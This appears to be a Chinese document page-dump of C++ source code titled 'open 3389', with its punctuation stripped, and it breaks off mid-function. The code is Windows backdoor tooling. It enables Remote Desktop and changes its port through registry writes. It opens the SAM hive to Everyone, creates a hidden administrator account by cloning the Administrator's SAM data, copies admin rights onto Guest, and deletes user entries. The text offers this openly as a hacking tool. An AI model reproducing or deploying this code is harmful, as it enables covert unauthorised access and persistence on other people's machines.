开3389源代码.docx

1、开3389源代码/ open3389.cpp : Defines the entry point for the console application./#include stdafx.h#include #include #include Registry.h/#include CloneSID.h#include FindPass.h#include #include #pragma comment(lib,netapi32.lib)void Open3389(DWORD port) CRegistry reg; reg.Open(SOFTWAREMicrosoftWindowsCurr

2、entVersion0); reg.CreateKey(netcache); reg.WriteString(Enabled,0); reg.Open(SOFTWAREPoliciesMicrosoftWindows0); reg.CreateKey(Installer); reg.WriteDword(EnableAdminTSRemote,1); if (reg.Open(SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon0) reg.WriteString(ShutdownWithoutLogon,0); if (reg.Open(SYST

3、EMCurrentControlSetControlTerminal Server0) reg.WriteDword(TSEnabled,1); if (reg.Open(SYSTEMCurrentControlSetServicesTermDD0) reg.WriteDword(Start,2); if (reg.Open(SYSTEMCurrentControlSetServicesTermService0) reg.WriteDword(Start,2); if (reg.Open(SYSTEMCurrentControlSetControlTerminal Server0) reg.W

4、riteDword(fDenyTSConnections,0); if (reg.Open(SYSTEMCurrentControlSetControlTerminal ServerRDPTcp0) reg.WriteDword(PortNumber,port); if (reg.Open(SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp0) reg.WriteDword(PortNumber,port); if (reg.Open(SYSTEMCurrentControlSetControlTerminal Ser

5、verWdsrdpwdTdstcp0) reg.WriteDword(PortNumber,port); reg.ReSetMainKey(HKEY_USERS); if (reg.Open(.DEFAULTKeyboard LayoutToggle0) reg.WriteString(Hotkey,2); reg.Close();void ResetTermsPort(DWORD port) CRegistry reg; if (reg.Open(SYSTEMCurrentControlSetControlTerminal ServerRDPTcp0) reg.WriteDword(Port

6、Number,port); if (reg.Open(SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp0) reg.WriteDword(PortNumber,port); if (reg.Open(SYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp0) reg.WriteDword(PortNumber,port);char* GetUserSID(TCHAR *user) HKEY hKey; DWORD dwValue; char *ret =

7、 NULL; char strType32; DWORD dwRegType; TCHAR lpSubKey128; wsprintf(lpSubKey,SAMSAMDomainsAccountUsersNames%s,user); if(0=RegOpenKey(HKEY_LOCAL_MACHINE,lpSubKey, &hKey) DWORD dwLen=sizeof(DWORD); RegQueryValueEx(hKey,NULL,&dwRegType,(BYTE*)&dwValue, &dwLen); RegCloseKey(hKey); wsprintf(strType,%-20s

8、t-SID-%08X,user,dwRegType); ret = strType; else ret = NULL; return ret;BOOL GetSecurity() DWORD dwRet; LPSTR SamName = MACHINESAMSAM; PSECURITY_DESCRIPTOR pSD = NULL; PACL pOldDacl = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HKEY hKey = NULL; dwRet = GetNamedSecurityInfo(SamName, SE_REGISTRY_K

9、EY, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDacl, NULL, &pSD); if (dwRet != ERROR_SUCCESS) return FALSE; ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS); BuildExplicitAccessWithName(&ea, Everyone, KEY_ALL_ACCESS, SET_ACCESS, SUB_CONTAINERS_AND_OBJECTS_INHERIT); dwRet = SetEntriesInAcl(1, &ea, pOldDacl,

10、&pNewDacl); if (dwRet != ERROR_SUCCESS) return FALSE; dwRet = SetNamedSecurityInfo(SamName, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (dwRet != ERROR_SUCCESS) return FALSE; if (pNewDacl) LocalFree(pNewDacl); if (pSD) LocalFree(pSD); return TRUE; BOOL CreateHideUser(

11、char *user,char *pass) char ParamMAX_PATH; wsprintf(Param, user %s %s /add,user,pass); HINSTANCE nRet = ShellExecute(0, open, net.exe, Param, NULL, SW_HIDE); if(int)nRet 100) return FALSE; LPBYTE lpDataF,lpDataV; lpDataF = (LPBYTE) malloc(1024*2); lpDataV = (LPBYTE) malloc(1024*10); ZeroMemory(lpDat

12、aF,1024*2); ZeroMemory(lpDataV,1024*10); DWORD SizeF=1024 * 2; DWORD SizeV=1024 * 10; if(0=RegOpenKeyEx(HKEY_LOCAL_MACHINE,SAMSAMDomainsAccountUsers000001F4, 0,KEY_ALL_ACCESS,&hKey) DWORD dwType = REG_BINARY; DWORD dwLen=sizeof(DWORD); RegQueryValueEx(hKey,F,NULL,&dwType,lpDataF, &SizeF); RegCloseKe

13、y(hKey); HKEY c_hKey; TCHAR lpSubKey2128; wsprintf(lpSubKey2,SAMSAMDomainsAccountUsers%s,strType); printf(Open %s.rn,lpSubKey2); if(0=RegOpenKeyEx(HKEY_LOCAL_MACHINE,lpSubKey2, 0,KEY_ALL_ACCESS,&c_hKey) DWORD dwType = REG_BINARY; DWORD dwLen=sizeof(DWORD); RegQueryValueEx(c_hKey,V,NULL,&dwType,lpDat

14、aV, &SizeV); RegCloseKey(c_hKey); wsprintf(Param, user %s /del,user); nRet = ShellExecute(0, open, net.exe, Param, NULL, SW_HIDE); if(int)nRet 100) return FALSE; printf(Now Create %s Registry Key.,user); if( RegCreateKey(HKEY_LOCAL_MACHINE, lpSubKey2, &hKey ) = ERROR_SUCCESS ) DWORD dwLen=sizeof(DWO

15、RD); DWORD dwValue = NULL; RegSetValueEx(hKey,F,NULL,REG_BINARY,lpDataF, SizeF); RegSetValueEx(hKey,V,NULL,REG_BINARY,lpDataV, SizeV); RegCloseKey(hKey); printf(Success!rn); printf(OK!rnUSER: %srnPASS: %s,user,pass); return TRUE; BOOL DelSid(char *sid) HKEY hkey; DWORD ret; char C_sid10; if (strncmp

16、(sid,00000,strlen(00000) = 0) wsprintf(C_sid,%s,sid); else wsprintf(C_sid,00000%s,sid); ret=RegOpenKey(HKEY_LOCAL_MACHINE,SAMSAMDomainsAccountUsers,&hkey); if (ret!=ERROR_SUCCESS) return FALSE; ret=RegDeleteKey(hkey,C_sid); RegCloseKey(hkey); if (ret=ERROR_SUCCESS) return TRUE; else return FALSE; BO

17、OL DelUser(char *user) HKEY hkey; DWORD ret; char C_user40; wsprintf(C_user,%s,user); ret=RegOpenKey(HKEY_LOCAL_MACHINE,SAMSAMDomainsAccountUsersNames,&hkey); if (ret!=ERROR_SUCCESS) return FALSE; ret=RegDeleteKey(hkey,C_user); RegCloseKey(hkey); if (ret=ERROR_SUCCESS) return TRUE; else return FALSE

18、; BOOL CloneID() HKEY hkey,C_hkey; DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret; char CloneSid100; LPBYTE lpDataF; LPBYTE lpDataV; lpDataF = (LPBYTE) malloc(1024*2); lpDataV = (LPBYTE) malloc(1024*2); ZeroMemory(lpDataF,1024*2); ZeroMemory(lpDataV,1024*2); wsprintf(CloneSid,SAMSAMDomainsAcco

19、untUsers000001F5); ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,SAMSAMDomainsAccountUsers000001F4,0,KEY_ALL_ACCESS,&hkey); if(ret!=ERROR_SUCCESS) return FALSE; ret = RegQueryValueEx(hkey,F,NULL,&Type,lpDataF,&SizeF); if(ret!=ERROR_SUCCESS) return FALSE; ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,CloneSid,0,KEY_A

20、LL_ACCESS,&C_hkey); if(ret!=ERROR_SUCCESS) return FALSE; ret= RegSetValueEx(C_hkey,F,0,REG_BINARY,lpDataF,SizeF); if(ret=ERROR_SUCCESS) printf(Clone User Successn); else printf(Clone User FAILn); return FALSE; RegCloseKey(hkey); RegCloseKey(C_hkey); return TRUE; char *ListUser() char Temp1024 = 0; c

21、har retbuf4096 = 0; LPUSER_INFO_3 pBuf = NULL; LPUSER_INFO_3 pTmpBuf; DWORD i; DWORD dwLevel = 3; DWORD dwPrefMaxLen = -1; DWORD dwEntriesRead = 0; DWORD dwTotalEntries = 0; DWORD dwResumeHandle = 0; LPTSTR pszServerName = NULL; NET_API_STATUS nStatus; sprintf(Temp,rn%-20st%-16s%-7srnrn,USER,SID,DOM

22、AIN); strcpy(retbuf,Temp); do nStatus = NetUserEnum(NULL,dwLevel,FILTER_NORMAL_ACCOUNT,(LPBYTE*)&pBuf, dwPrefMaxLen,&dwEntriesRead,&dwTotalEntries,&dwResumeHandle); if (nStatus = NERR_Success) | (nStatus = ERROR_MORE_DATA) if (pTmpBuf = pBuf) != NULL) for (i = 0; (i usri3_name); strcat(retbuf,GetUse

23、rSID(Temp); switch(pTmpBuf-usri3_priv) case USER_PRIV_GUEST: sprintf(Temp,t-%-7strn,(Guest); break; case USER_PRIV_USER: sprintf(Temp,t-%-7strn,(User); break; case USER_PRIV_ADMIN: sprintf(Temp,t-%-10strn,(Administrator); break; default: sprintf(Temp,t-%-7strn,(Unknow); break; /for pTmpBuf+; strcat(retbuf,Temp); /if sprintf(Temp,rnOK.rn); else sprintf(Temp,rnNetUserEnum Error: %drn,GetLastError(); strcat(retbuf,Temp); if (pBuf != NULL) NetApiBufferFree(pBuf); pBuf =